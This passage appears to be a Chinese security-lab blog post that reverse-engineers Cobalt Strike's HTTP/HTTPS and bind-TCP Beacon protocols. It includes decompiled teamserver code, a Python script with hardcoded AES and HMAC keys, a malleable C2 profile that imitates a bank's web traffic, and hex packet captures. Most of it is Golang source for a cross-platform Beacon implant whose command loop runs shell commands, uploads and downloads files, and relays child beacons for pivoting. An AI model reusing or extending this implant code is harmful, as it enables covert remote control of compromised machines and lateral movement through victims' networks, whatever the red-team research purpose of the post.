//解密beacon返回的数据,并将解密的数据传给主处理函数//beaconid//返回的aes加密后的数据(加密数据(counter+结果数据长度+结果数据)+16字节的hashmac)public void process_beacon_callback(String var1, byte[] var2) {byte[] var3 = this.getSymmetricCrypto().decrypt(var1, var2);this.process_beacon_callback_decrypted(var1, var3);}
//beacon返回的任务数据解密函数//var2 = aes加密的数据(counter+命令结果的长度+命令结果(命令类型+执行结果))+hashmacpublic byte[] decrypt(String var1, byte[] var2) {try {if (!this.isReady(var1)) {CommonUtils.print_error("decrypt: No session for '" + var1 + "'");return new byte[0];} else {Session var3 = this.getSession(var1);SecretKey var4 = this.getKey(var1); //获取当前beacon的aeskeySecretKey var5 = this.getHashKey(var1); //获取当前beacon对应的HashMacbyte[] var6 = Arrays.copyOfRange(var2, 0, var2.length - 16); //task任务返回的加密数据byte[] var7 = Arrays.copyOfRange(var2, var2.length - 16, var2.length); //最后16字节是task任务返回的hashmacObject var8 = null;byte[] var18;synchronized(this.mac) {this.mac.init(var5);var18 = this.mac.doFinal(var6);}byte[] var9 = Arrays.copyOfRange(var18, 0, 16);//对比当前beacon存储的hashmac和task任务返回的hashmacif (!MessageDigest.isEqual(var7, var9)) {CommonUtils.print_error("[Session Security] Bad HMAC on " + var2.length + " byte message from Beacon " + var1);return new byte[0];} else {Object var10 = null;byte[] var19;synchronized(this.out) {var19 = this.do_decrypt(var4, var6); //aes解密task任务返回的数据}DataInputStream var11 = new DataInputStream(new ByteArrayInputStream(var19));int var12 = var11.readInt();//counterint var13 = var11.readInt();//命令结果数据的长度if (var13 >= 0 && var13 <= var2.length) {byte[] var14 = new byte[var13];var11.readFully(var14, 0, var13); //从var11中读取var13长度的字节,放入进var14var3.counter = (long)var12;return var14; //返回任务结果类型+执行结果数据} else {CommonUtils.print_error("[Session Security] Impossible message length: " + var13 + " from Beacon " + var1);return new byte[0];}}}} catch (Exception var17) {var17.printStackTrace();return new byte[0];}}
public void process_beacon_callback_decrypted(String var1, byte[] var2) {byte var3 = -1;if (var2.length != 0) {BeaconEntry var4 = this.getCheckinListener().resolve(var1 + "");if (var4 == null) {CommonUtils.print_error("entry is null for " + var1);}try {DataInputStream var5 = new DataInputStream(new ByteArrayInputStream(var2));//4 获取任务返回类型int taskType = var5.readInt();String var6;//根据不同的返回结果执行相应的操作......} catch (IOException var13) {MudgeSanity.logException("beacon callback: " + var3, var13, false);}}}

'''Beacon任务执行结果解密'''import hmacimport binasciiimport base64import structimport hexdumpfrom Crypto.Cipher import AESdef compare_mac(mac, mac_verif):if mac == mac_verif:return Trueif len(mac) != len(mac_verif):"invalid MAC size"return Falseresult = 0for x, y in zip(mac, mac_verif):result |= x ^ yreturn result == 0def HexToByte( hexStr ):return bytes.fromhex(hexStr)def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):print("message authentication failed")returncypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)data = cypher.decrypt(encrypted_data)return data#key源自Beacon_metadata_RSA_Decrypt.pySHARED_KEY = binascii.unhexlify("7f13e5bcc4c6c5c7af06dc3143b0b88e")HMAC_KEY = binascii.unhexlify("b1179c03ea6cd3d4eb5054fa75332b0c")encrypt_data=base64.b64decode("AAAAQPmxmlOwWb3bsWCXfcZJL5HJqg3HfMKEVuoGvTGOGB1Imr8hvN3n01GWoneTc3pm0tLFrWZC7QGoGvp7JfZOa1o=")#encrypt_data = HexToByte("0000075")encrypt_data_length=encrypt_data[0:4]encrypt_data_length=int.from_bytes(encrypt_data_length, byteorder='big', signed=False)encrypt_data_l = encrypt_data[4:len(encrypt_data)]data1=encrypt_data_l[0:encrypt_data_length-16]signature=encrypt_data_l[encrypt_data_length-16:encrypt_data_length]iv_bytes = bytes("abcdefghijklmnop",'utf-8')dec=decrypt(data1,iv_bytes,signature,SHARED_KEY,HMAC_KEY)counter = dec[0:4]counter=int.from_bytes(counter, byteorder='big', signed=False)print("counter:{}".format(counter))dec_length = dec[4:8]dec_length=int.from_bytes(dec_length, byteorder='big', signed=False)print("任务返回长度:{}".format(dec_length))de_data= dec[8:len(dec)]Task_type=de_data[0:4]Task_type=int.from_bytes(Task_type, byteorder='big', signed=False)print("任务输出类型:{}".format(Task_type))print(binascii.b2a_hex(de_data[4:dec_length]))print(hexdump.hexdump(dec))


http-post {set uri "/api/postid";client {header "Accept" "*/*";header "Content-Type" "image/png";id {base64;prepend "JSESSION=";header "Cookie";}parameter "s" "1124";parameter "d_referer" "http%3A%2F%2Fbank.pingan.com";output {base64;prepend ".PNG";print;}}server {header "Server" "Pingan Frontend Proxy";header "x-pingan-id" "9zHYZzF8IlH7emm3GNdwPHVCnAo1gOxmo73O9JlwMsuP68pMKrSy17kS=";header "X-Frame-Options" "SAMEORIGIN";output {base64;print;}}}
AAAAMOoMW516MwI6+UQGIx5LuEleeFVzVueZ10pEkAOLNHV3HUByBodgsliVpwUoEH1VgA==

func PWD(){var finalPacket []byte = nilpwd, err := os.Getwd()result, err := filepath.Abs(pwd)if err != nil {finalPacket = packet.MakePacket(13,[]byte(err.Error()))}else {finalPacket = packet.MakePacket(19,[]byte(result))}packet.PushResult(finalPacket)}
func MakePacket(replyType int, b []byte) []byte {config.Counter += 1buf := new(bytes.Buffer)counterBytes := make([]byte, 4)binary.BigEndian.PutUint32(counterBytes, uint32(config.Counter))buf.Write(counterBytes)if b != nil {resultLenBytes := make([]byte, 4)resultLen := len(b) + 4binary.BigEndian.PutUint32(resultLenBytes, uint32(resultLen))buf.Write(resultLenBytes)}replyTypeBytes := make([]byte, 4)binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType))buf.Write(replyTypeBytes)buf.Write(b)encrypted, err := crypt.AesCBCEncrypt(buf.Bytes(), config.AesKey)if err != nil {return nil}// cut the zero because Golang's AES encrypt func will padding IV(block size in this situation is 16 bytes) before the cipherencrypted = encrypted[16:]buf.Reset()sendLen := len(encrypted) + crypt.HmacHashLensendLenBytes := make([]byte, 4)binary.BigEndian.PutUint32(sendLenBytes, uint32(sendLen))buf.Write(sendLenBytes)buf.Write(encrypted)hmacHashBytes := crypt.HmacHash(encrypted)buf.Write(hmacHashBytes)return buf.Bytes()}
func HttpPost(url string, data []byte) error {httpRequest := req.New()postString := base64.StdEncoding.EncodeToString(data)for k,v := range config.Postheader{if strings.Contains(v,"%ENCBEACONID%"){config.Postheader[k] = strings.Replace(v, "%ENCBEACONID%", base64.StdEncoding.EncodeToString([]byte(strconv.Itoa(config.ClientID))), -1 )}}if len(config.PostPrepend) !=0 {postString = config.PostPrepend + postString}if len(config.PostAppend) !=0 {postString = postString + config.PostAppend}resp, err := httpRequest.Post(url, postString, config.Postheader)if err != nil {fmt.Printf("[-] Post http data error: %s\n", err.Error())return err}defer resp.Response().Body.Close()if resp.Response().StatusCode != http.StatusOK {fmt.Printf("[-] Post http response status code: %d\n", resp.Response().StatusCode)return err}return nil}
0x02 跨平台http/https Beacon
根据上面我们对cs的http/https beacon的整个通信过程的研究,完全能自己编写一个跨平台的beacon,这里我们选择了golang作为开发语言,虽然编译之后很大,但是跨平台的性很好。
但是我们想将Beacon的回连地址、加密的公钥以及profile的配置都编译到golang程序中,这样的话每次生成跨平台Beacon的时候都需要修改源代码然后再编译,所以我们在golang源码外层再进行了一次python封装,它的作用如下:
1. 解析profile,并将相应的值填入golang源码中。
2. 根据.cobaltstrike.beacon_keys计算公钥,并填入golang源代码中。
3. 实现golang项目的交叉编译。具体的流程图设计如下:

实现的部分代码如下:
func main() {//初始化,包括:生成随机的beaconid、生成随机的global key(aes+hashmac)、创建get和post的url以及对应的headerconfig.InitC2Profile()//组装和封装源数据,并循环向ts发送,直到成功ok := packet.FirstBlood()if ok {for {time.Sleep(time.Duration(config.Sleep) * time.Millisecond)//sleep时间//获取命令数据respBytes := packet.PullCommand()if respBytes != nil {totalLen := len(respBytes)if totalLen > config.GetAppend + config.GetPrepend {//删除prependif config.GetPrepend !=0 {respBytes = respBytes[config.GetPrepend:]}//删除appendif config.GetAppend !=0 {respBytes = respBytes[:len(respBytes) - config.GetAppend]}//decode base64decryptBytes, base64Err := base64.StdEncoding.DecodeString(string(respBytes))if base64Err != nil {fmt.Println("Exception: ",base64Err.Error())continue}respBytes = decryptBytes//去除HashMacrestBytes := respBytes[:len(respBytes)-crypt.HmacHashLen]//aes解密decrypted,decryptErr := packet.DecryptPacket(restBytes)if decryptErr != nil {fmt.Println("Exception: ",decryptErr.Error())continue}//读取命令数据lenBytes := decrypted[4:8]packetLen := util.ReadInt(lenBytes)decryptedBuf := bytes.NewBuffer(decrypted[8:])for {if packetLen <= 0 {break}//解析命令数据cmdType, cmdBuf, parseErr := packet.ParsePacket(decryptedBuf, &packetLen)if parseErr == nil{if cmdBuf != nil {var finalPacket []byte = nil//执行对应的命令switch cmdType {case config.CMD_TYPE_SHELL:go command.Shell(cmdBuf)case config.CMD_TYPE_UPLOAD_START: //10go command.Upload(cmdBuf)case config.CMD_TYPE_UPLOAD_LOOP: //67go command.Upload(cmdBuf)case config.CMD_TYPE_DOWNLOAD: //11go command.Download(cmdBuf)case config.CMD_TYPE_CD: //5go command.CD(cmdBuf)case config.CMD_TYPE_SLEEP: //4sleep := util.ReadInt(cmdBuf[:4])config.Sleep = int(sleep)case config.CMD_TYPE_PWD: //39go command.PWD()case config.CMD_TYPE_EXIT:go command.Exit()case config.CMD_TYPE_PORTFWD:finalPacket = packet.MakePacket(13,[]byte("Please use shell rportfwd command"))packet.PushResult(finalPacket)case config.CMD_TYPE_PORTFWD_STOP:finalPacket = packet.MakePacket(13,[]byte("Please use shell rportfwd command"))packet.PushResult(finalPacket)case config.CMD_TYPE_CONNECT:go command.Connect(cmdBuf)case config.CMD_TYPE_CONNECT_LIVE:go command.BeaconLive(cmdBuf)case config.CMD_TYPE_UNLINK:go command.Unlink(cmdBuf)case config.CMD_TYPE_FILE_Browser:go command.FileBrowser(cmdBuf)default:finalPacket = packet.MakePacket(13, []byte("Command not supported"))packet.PushResult(finalPacket)}}}}}}}}}
0x03 Bind tcp Beacon通信过程
了解了cs回连的http/https beacon的回连以及控制过程,我们再来看内网横向的Bind tcp beacon。

3.1 解析bindtcp源数据
任务返回类型为10的时候,表示返回的是connect的结果,解析代码在beacon/BeaconC2.java中。
这里调用的process_beacon_metadata函数解析源数据,和http/https beacon解析源数据的过程一样。所以我们可以知道bindtcp beacon 上线包的格式如下:
if (taskType == 10) { //beacon返回connect结果childBeaconID = var5.readInt(); //子beacon idvar18 = var5.readInt(); //hint信息rsaEncryptData = CommonUtils.bString(CommonUtils.readAll(var5)); //子beacon返回的rsa加密的源数据BeaconEntry var9 = this.getCheckinListener().resolve(var1 + "");//null//父beacon的内网ip//子beacon返回的rsa加密的源数据//父beaconid//hintvar10 = this.process_beacon_metadata((ScListener)null, var9.getInternal() + " ⚯⚯", CommonUtils.toBytes(rsaEncryptData), var1, var18);//成功连接到横向bind beaconif (var10 != null) {this.pipes.register(var1 + "", childBeaconID + "");if (var10.getInternal() == null) {this.getCheckinListener().output(BeaconOutput.Output(var1, "established link to child " + CommonUtils.session(childBeaconID)));this.getResources().archive(BeaconOutput.Activity(var1, "established link to child " + CommonUtils.session(childBeaconID)));} else {this.getCheckinListener().output(BeaconOutput.Output(var1, "established link to child " + CommonUtils.session(childBeaconID) + ": " + var10.getInternal()));this.getResources().archive(BeaconOutput.Activity(var1, "established link to child " + CommonUtils.session(childBeaconID) + ": " + var10.getComputer()));}this.getCheckinListener().output(BeaconOutput.Output(var10.getId(), "established link to parent " + CommonUtils.session(var1) + ": " + var9.getInternal()));this.getResources().archive(BeaconOutput.Activity(var10.getId(), "established link to parent " + CommonUtils.session(var1) + ": " + var9.getComputer()));}}

3.1.1 验证解析数据
这里我们采用抓包一个http beacon和一个bindtcp beacon连接上线的方式,进行抓包验证。
http beacon:172.16.247.2,bindtcp beacon:172.16.247.10

1. 获取bindtcp beacon的源数据

其中id为10进制的beaconid:1919872472,对应的16进制为:726EEDD8。
2. 我们在http beacon上抓取172.16.247.10到172.16.247.2的数据包,可以成功抓到bindtcp beacon 的上线源数据包,如下:

d8ed6e72 16260b3d109719765a05bb700c998d6ca7578735042f3de458170fc22ebc681450cd06c82abb35fa4d11bef0b4d19d7d1c2018b1b6fccf9b35f47b751cbebfa903bb9f28de526fcf8d26b2f6def6952a0aab74970bfee5934cce36352be4111850856dee7e55df4ab04ab5e5bc8ed2991d3a7e477ad276b31a0373fbebe2e557长度为132,即4字节的小端的beaconid+128字节的rsa加密的源数据。但是我们上面分析的bindtcp beacon中间还有一个hint值呢?
2.抓取172.16.247.2到ts的connect任务结果包
我们解密这个任务包获得子beacon对应的上线源数据包,然后查看二者差异。

3. 使用http/https beacon的aes和hashmac解密这个数据(记得去除prepend和append)

726eedd8 0010115c 16260b3d109719765a05bb700c998d6ca7578735042f3de458170fc22ebc681450cd06c82abb35fa4d11bef0b4d19d7d1c2018b1b6fccf9b35f47b751cbebfa903bb9f28de526fcf8d26b2f6def6952a0aab74970bfee5934cce36352be4111850856dee7e55df4ab04ab5e5bc8ed2991d3a7e477ad276b31a0373fbebe2e557这里我们通过对比两个包,发现父beacon的connect会对子beacon返回的数据做一些操作,包括:
小端beacon id变为大端beacon id
在beacon id和rsa加密源数据之间插入4字节的hint值
4. 使用上面解析源数据的python脚本,解析上线的源数据

3.1.2 golang模拟connect命令封包
我们使用golang模拟这个过程:
//绑定子beaconid和对应tcp socket的关系//fmt.Println("[+] Connect recv: ",fmt.Sprintf("%x",data))clientIDBytes := data[:4]childBID := util.BytesToUint32(clientIDBytes)//fmt.Println("[+] Child beacon id: ",fmt.Sprintf("%x",childBID))config.Connects.Store(childBID, config.ChildBeacon{Server: server, ChildConn: childConn})//插入hint值hint := 65536^uint32(port)hintBytes := make([]byte,4)binary.BigEndian.PutUint32(hintBytes,uint32(hint));//小端beaconid变大端beaconidAddBytes := make([]byte, 4)binary.BigEndian.PutUint32(AddBytes,childBID)endData := util.BytesCombine(AddBytes,hintBytes,data[4:])//fmt.Println("[+] Send up: ",fmt.Sprintf("%x",endData))
3.1.3 关于hint
这里我们父beacon为什么需要向收到的子beacon的数据中插入这个hint,它又是如何生成的呢?
在common/PivotHint.java中,我们可以看到对hint这个值的应用:
public class PivotHint {public static final long HINT_REVERSE = 65536L;public static final long HINT_FORWARD = 0L;public static final long HINT_PROTO_PIPE = 0L;public static final long HINT_PROTO_TCP = 1048576L;protected int hint;public PivotHint(int var1) {this.hint = var1;}public PivotHint(String var1) {this.hint = CommonUtils.toNumber(var1, 0);}public int getPort() {return this.hint & '\uffff'; //hint值的后4位表示一个端口}public boolean isReverse() {return ((long)this.hint & 65536L) == 65536L;//hint值的第4位的最后一个bit用来判断回连和转发}public boolean isForward() {return !this.isReverse();}public boolean isTCP() {return ((long)this.hint & 1048576L) == 1048576L;//hint值的第3位的最后一个bit用来判断tcp还是smb}public String getProtocol() {return this.isTCP() ? "TCP" : "SMB";}public String toString() {return this.isForward() ? this.getPort() + ", " + this.getProtocol() + " (FWD)" : this.getPort() + ", " + this.getProtocol() + " (RVR)";}}
我们来解析上面实验的hint值:0010115c

hint的第3位的最后一个bit为1,表示它是一个tcp的数据包。

最后4位对应的port值为:4444,为子beacon对应的监听端口。
3.2 解析bindtcp task返回数据
通过http/https beacon的分析我们知道process_beacon_data函数是处理task返回数据的函数,其中我 们在这个函数中还找到它对自己的递归调用,如下:
if (taskType == 12) { //子beacon返回信息childBeaconID = var5.readInt();//beaconidchildBeaconData = CommonUtils.readAll(var5); //task返回数据(len+aes加密后的数据)if (childBeaconData.length > 0) {this.process_beacon_data(childBeaconID + "", childBeaconData);}this.getCheckinListener().update(childBeaconID + "", System.currentTimeMillis(), (String)null, false);}
由上我们bindtcp beacon返回的任务数据的格式为:

3.2.1 验证解析数据
1. 在172.16.247.10上执行cs命令

2. 在172.16.247.2上抓172.16.247.10到172.16.247.2的包

如图,我们可以看到172.16.247.10发送给172.16.247.2的一次task任务的数据包是3个。第一个包的数据:

表示任务返回数据的长度,这里是0x0714,10进制为:1812
第二个包和第三个包是任务返回数据:


1460+352 = 1812,刚好是第一个包的数据。实际任务返回数据就是将两个包连接:
000007101c430e118c822ec0aac3857c0d08b9d64d34905d76ea850a85f5ee2496cc0e2c4675fb2e 2c18562cc0422034f28221e0a45d6ecb3cb55e347ca9743cf4766f58ddfea7a82edc0e41ae5e5382 5d9552a4acd009c2210d6db1baf999421b69c1e69986213cf2fbbb4b0202a8d59ccfe07814415e07 66ec8b33e2839f1284ee956a5ad2c24eb07d9c7d82737ea5dcc0bdbd0222100e82a09bf3ad46ad96 d200cda2b017d779070022a21bc09c9970d9af538a68bd88f08391a8d4027a9bbddcfe9f451f643e a3e302549792137a1e9a7c7ded5303210fe0271710e4d5a857662f0ce250d34e4e329b83c7d5d558 0ed33dd73cc39811d26e24e4757744dd1efcdf3da4a23008a5067ee60179496cd62b5977ac487af4 fac686714605e00e66e3db292dd9a46246e765c8cb0037d39fa4f0bdb0de97bd3bad42f10e2e4b6e ce0cf07d56c15a51b592c3c0d57e33a215ebfe2cf43999f01aab0e965059eb54fc872d1f2696c992 6446ad09fb1db8b3eae8a9d1a6ca700033eae1c1d79a21beb38276ceb669b8a3a63015861d43acbe e918c321f60ed2e659350db48f13998609cbd66970ae15dda6c245e122484353907462ab50723064 4550f0b8cbec1727cd7340e85c037c8dd02a51c09df80fabc31502841c08648da74095388b6aefa3 8407777048d9c3fafa81da8493795d32efe911439085c0462e835848a170f619d4d12a335735c0fc 348df9ef65a3c6ec27b7b374446656dc15802fe22e5668314fe19147ace8508fff999fb9d1b2cf42 0dbf75936989dc7beb19daddb8279e567f207550c379db2ec243aa9447f5ce13a97b9d3b21259714 2c3e5135b0e0a875b328f75b062e7ea16e80727853c35c4a51d2322fb5d9f7c0bc5bdd1c13d14e43 f59828ac7a27ae597822de379b75d424b3809c5cff021a452685d3735016b82e6c1946da53fdc445 5ac92b0eb33f1b6ce8eca73a4c029b81674006c317bde4e44e0f233be4d6bb57453b56e94af95d73 408267949b5a6ce91746435b4bfd4eeb8c7fc7451421eb3a8b2e38b07f13a6863988af60b9e6d8f6 8ffafa0ae3e44b20ac52b5bb2d5ecbbbaf34e823dbc5ff1f5d7e93f631a065af90e5e6d4ff135d74 31153c0e62f5947b0a163e50b718e28a09304b49f0d41afdf34cf1e2c9093f28797306fe47210b7b afd377afb76f9b39c24327347af88788fb753f8161f514e47a46c2cf4b4da00547f9b892b124553a 7fa5b39a99bd75e1d77f5d07d9cddfbe722e99e5ceb33cc773ffadb51cdaf0bb21d998d4a1b318f8 70ab2dd5e704bf24aa09902b2844624256b3ed5c3af6b054c44dc9d356bea01211b11b500cae765c 1b1ff47ea6cf5652ba042d778ab6941c0afbf03f7609e9ea2235f2cfd3858f2da48282affe375876 bea69c465eddf3682b19c843c4243a132480ea6f1c46d906ac26987290bfb5b35e2f42d64be46c79 fd7b2bd22ab1a62a973a4ece0d55a5fc562700dc8f6a139cf56d3bba68a1a66c25fd5b8746639d08 d3b99cfec117db3a3c7e4ea5b1aa86547f6ddae2e6ec0bc14be6abfdf2dc5862d45a2b315b26a108 fbcbb36080fe7ad1b854d81d8532602596f83aae6b328e20ea87e1d4f0647b7c76004f07fc8135fa 9b11482f3b7a85a90c9f6e91e08f086661e9140427ce546075f9e226980b8bb2465c45bbaf9a7976 2dc9de96a33e8cc1512dbfd2bbbfed7418fd9d679948092047466b60bf76d84b6c1bc2a4ef79ec42 82ad5448848bf8a4bb1df9f7bd5688ec89804cfceb450f6696964906d69e62c6310dbd8878b4064a 68bede64051f41dd427d784cd596cb36b921561fe75e6f8c43920481dd756914af1cafa79ee34bf8 448a5ab89e3a4de3665045267c4e48da07f677efe2e8a0b036d09524ecb91e7c4720bfac87099c85 1e1d23fa4fc446721e0905209982d9a2ddc40a5233e2d04317d9ceba6a09779d9e944fb5ca1ec237 9a68d1ddcdba7e31c40877cec68a5acdde9fafb57e84e6640f404acabd6e39f779c69e321718631d af8cc5dd76d79cf858deac780e8ac5637bac95ee84c6137f667a8807fe52add083203cc00cb9c112 bb839738df241e244ffe600ad3eff58f04eefdaae71faacca20e1d12f9f18e2e1250201f62918968 d615cff69db01d57007d6267d44e193e3189a761f396bbe487f941b26ac1836d85c4c2a02d094367 16011a6e4a0201b34a816a5469449049966a425ce3226d2fa90669a6305a0c5dbb0cc85688365bbf 8c88a911b378ae080810e239c43e52e09f294e7e445f5c4178bb809c887631c3c86faa8e4a8ed435 db34b2c7df9ee05b6a54c648c60d9d464f7476e16a578d0a54040b4c5abc4f23846716da3fd90736 ee8d5015220ca48c66c8bb0e73f7b0f525161e82fec27789cace323577ffc5f266128e628a0c5155 955f1786576fd1668c6fb83c0999d285306a5ed6d2e8d69df636cf917e220ba7881a69f5a313abeb 0125e00f49f59a1c5bd23443d1c4824bdc486af863b67e936a876d86ad2062141c1b2c30c3d5444a c92f4b8c9949bfdbb7ce1fe03. 根据上线源数据获取aeskey和hashmac

子beacon发送给父beacon的上线源数据包为:
5e85aa3106755b9156b8f3b04fa0da72dc3740465cc0d2f45c5dd3d3d6a7496f397892c5dc5b11d7 602419647d177b5563a952f10c395c385832fedeebd119a89a3b77c32d62bf19c44f75836ab0a20e 200eaec1aace752a0690d9284b5da6402e3034f09fbc568b684e793d9983cf8601cd309bdcaa273e 6fadd95081508147f95fd914按照我们上面的分析,还需要删除前面4字节的反序beaconid才是真正的上线源数据:
06755b9156b8f3b04fa0da72dc3740465cc0d2f45c5dd3d3d6a7496f397892c5dc5b11d760241964 7d177b5563a952f10c395c385832fedeebd119a89a3b77c32d62bf19c44f75836ab0a20e200eaec1 aace752a0690d9284b5da6402e3034f09fbc568b684e793d9983cf8601cd309bdcaa273e6fadd950 81508147f95fd914然后使用解密源数据的python脚本解密:

获得AES key和Hashmac
AES key:9b933592951d47b2ae93e339b640e92dHMAC key:8fa971e3d5950a7ff0d5f4fca898c8ae
4. 根据bindtcp beacon源数据获得aes key解密bindtcp beacon返回的任务数据

如上图,与我们cs执行命令返回的结果一致。
3.2.2 golang模拟发送请求
func BeaconLive(cmdBuf []byte) {childBID := binary.BigEndian.Uint32(cmdBuf)value,ok := config.Connects.Load(childBID)if ok{childBeacon,ok := value.(config.ChildBeacon)if ok{childConn := childBeacon.ChildConnif len(cmdBuf) == 4{packet.WriteData(childConn, nil)}else {packet.WriteData(childConn, cmdBuf[4:])}data,err := packet.ReadData(childConn)if err!= nil{if err.Error() == "EOF"{Unlink(cmdBuf[:4])}else {finalPacket := packet.MakePacket(13,[]byte(err.Error()))packet.WriteData(config.ParentConn,finalPacket)}}else if data == nil { //心跳成功返回childBIDBytes := util.Uint32ToBytes(childBID)finalPacket := packet.MakePacket(12,childBIDBytes) //返回数据到上一层时添加子beaconidpacket.WriteData(config.ParentConn, finalPacket)} else {childBIDBytes := util.Uint32ToBytes(childBID)endData := util.BytesCombine(childBIDBytes, data)//返回数据到上一层时添加子beaconidfinalPacket := packet.MakePacket(12,endData)packet.WriteData(config.ParentConn, finalPacket)}}}}
0x04 跨平台的bindtcp Beacon
根据上面的分析,我们总结出bindtcp流程如下:

4.1 子beacon的任务过程
1. 子beacon新建监听,初始化全局变量,比如:beaconid、AES key和HashMac等;然后等待父beacon连接。
2. 建立连接之后,子beacon获取源数据组包,并使用公钥加密,然后封包小端beaconid,最后使用自定义的tcp封包格式(长度包+数据包)发往父beacon。
3. 子beacon进入循环读取父beacon任务,任务分为:命令任务和心跳任务。
4. 子beacon判断收到心跳任务时,向父beacon返回0x00000000,表示在线;子beacon判断收到的是命令任务,会使用AES key解密命令,解析出实际命令分配对应的线程取执行。
5. 当命令执行线程执行完命令之后,将执行结果进行任务结果的封包:包括AES加密命令结果,封装结果长度,封装Hmac等;然后使用自定义的tcp封包格式(长度包+数据包)向父beacon发送命令执行结果。
4.2 父beacon的任务过程
1. 接收连接到子beacon的任务,判断是否已经连接,如果没有,则连接子beacon监听的端口。
2. 读取子beacon返回的源数据包,获取子beaconid,并将子beaconid、子beacon对应的ip、port、对应连接的tcp socket进行绑定。
3. 封包连接任务返回数据:大端beaconid+hint+rsa加密的子beacon源数据;然后再使用父beacon 的AES key加密源数据,并封装数据长度和父beacon的hashmac。
4. 如果父beacon是http/https beacon,会对应使用模拟http请求向ts发送父beacon的连接任务数据(即子beacon的上线源数据);如果父beacon是bind tcp beacon,会对应使用自定义的tcp封包格式(长度包+数据包)发往父beacon的父beacon。
5. 父beacon等待ts/上一级beaocn的任务,从解密的任务数据中获取子beaconid,然后根据子beacon ID获取对应的socket,最后使用对应的socket将数据发送到子beacon。
6. 然后等待子beacon返回命令执行数据,并封装上子beacon ID,然后再用父beaocn的AES key加 密,封装上数据长度和hashmac,最后发往ts/上一级beacon。
银河实验室

往期回顾
技术
技术
技术
技术



长按识别二维码关注我们
微信号:PSRC_Team

球分享

球点赞

球在看
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 中法友谊蕴山水 7904741
- 2 你以为的进口尖货 其实早已国产了 7809434
- 3 张荣恭:敢宣布“台独”大陆立刻动手 7713757
- 4 盘点2025大国重器新突破 7617182
- 5 部分银行上调存款利率 7524054
- 6 美国称将调整与中国经济关系 7426829
- 7 大雪吃三宝是指哪三宝 7328977
- 8 尖叫之夜直播 7236971
- 9 男子在三亚海滩捅死3人 警方通报 7136207
- 10 周末去哪玩?雪场“不打烊” 7040633







平安安全应急响应中心
